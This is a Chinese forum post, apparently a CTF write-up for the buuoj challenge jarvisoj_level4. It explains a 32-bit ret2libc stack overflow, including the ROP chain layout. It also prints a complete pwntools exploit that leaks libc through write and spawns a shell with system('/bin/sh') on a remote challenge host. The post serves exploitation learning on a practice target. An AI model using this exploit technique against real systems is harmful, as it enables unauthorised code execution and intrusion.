[基础ret2libc] jarvisoj_level4

查看 38|回复 2
作者:bnuzgn   
题目来源:buuoj
题目信息
题目提示ubuntu16,i386,开了NX,Partial RELRO
   


1.png (30.07 KB, 下载次数: 2)
下载附件
2023-8-2 11:56 上传

   


2.png (19.53 KB, 下载次数: 2)
下载附件
2023-8-2 11:56 上传

main函数中调用用了write函数
   


3.png (11.88 KB, 下载次数: 3)
下载附件
2023-8-2 11:56 上传

vuln函数显然可以溢出。
   


4.png (11.32 KB, 下载次数: 1)
下载附件
2023-8-2 11:56 上传

解题思路
利用write函数泄露libc_base,很好写wp
温故知新
写多了64位的payload对rdi,rsi,rdx,rcx,r8,r9这些都很熟悉了,函数的参数可谓是一个萝卜一个坑,之间换一换顺序也是可以的也写习惯了。
突然回到32位的栈溢出才发现以前写32位的wp的时候是借鉴的网上的答案,后来又是自己借鉴自己以前的答案,导致自己都没有思考过为什么是这个ROP顺序。
就拿本题中输出32位的为例
payload = b'a'*(0x88+4)  + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
画一个此时的vuln函数栈
   


5.png (24.58 KB, 下载次数: 3)
下载附件
2023-8-2 11:56 上传

  • b'a'*(0x88+4) 是padding,用于直接溢出到vuln函数的返回地址
  • p32(write_plt)占据了vuln函数的返回地址
  • 【关键点1】vuln_addr,这个是write函数的返回地址,此时我们不需要考虑如果还有父函数会怎么样,因为这个是栈,而不是程序段,栈是用来保存函数运行时的临时数据的,仅仅作用于当前函数。当这个函数结束返回到返回值的时候,eip和rbp都会改变,对应于本题则会返回到vuln函数的起始处,此时栈顶esp指向的是下图中【write参数1】的位置,会重新复用后续的栈空间,而vuln函数没有参数,因此可以正常运行,这也是为什么一般二次循环会跳转到main啊vuln啊这种没有参数的函数中。(所以如果在这些函数中加一个参数是不是也可以稍稍避免栈溢出?)
  • 【关键点2】我们常听说32位程序加载参数的时候是从右往左的,为啥wp中直接p32(1) + p32(write_got) + p32(4)?正常流程中,参数压栈的方式的确是从右往左压栈,这样的目的时调用的时候可以从左往右调用,毕竟栈是FILO,而通过栈溢出的方式写栈走的不是正常流程,是直接从栈顶向着栈底写的,正巧和参数调用的顺序是一样的,所以就不需要倒序了。

       


    6.png (39.05 KB, 下载次数: 2)
    下载附件
    2023-8-2 11:56 上传

    wp[Python] 纯文本查看 复制代码# -*- coding: utf-8 -*-
    from pwn import*
    context.log_level='debug'
    context.arch='i386'
    context.os = "linux"
    pc = "level4"
    if __name__ == '__main__':
        local = sys.argv[1]
        if local == '1':
            r= process(pc)
            elf = ELF(pc)
            libc = elf.libc
        else:
            r=remote("node4.buuoj.cn",26967)
            elf = ELF(pc)
            libc = elf.libc
    sa = lambda s,n : r.sendafter(s,n)
    sla = lambda s,n : r.sendlineafter(s,n)
    sl = lambda s : r.sendline(s)
    sd = lambda s : r.send(s)
    rc = lambda n : r.recv(n)
    ru = lambda s : r.recvuntil(s)
    ti = lambda: r.interactive()
    lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
    def db():
        gdb.attach(r)
        pause()
    def dbs(src):
        gdb.attach(r, src)
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    vuln_addr = elf.sym['vulnerable_function']
    payload = b'a'*(0x88+4)  + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
    sl(payload)
    write_addr = u32(r.recvuntil(b'\xf7')[-4:])
    lg('write_addr')
    libc_base = write_addr - libc.sym['write']
    system_addr = libc_base + libc.sym['system']
    bin_sh  = libc_base + libc.search(b'/bin/sh').__next__()
    payload = b'a'*(0x88+4) + p32(system_addr) + p32(0) + p32(bin_sh)
    sl(payload)
    ti()

    函数, 下载次数

  • binarystudy123   

    十分详细,感谢分享
    APWN   

    谢谢答主!!
    您需要登录后才可以回帖 登录 | 立即注册

    返回顶部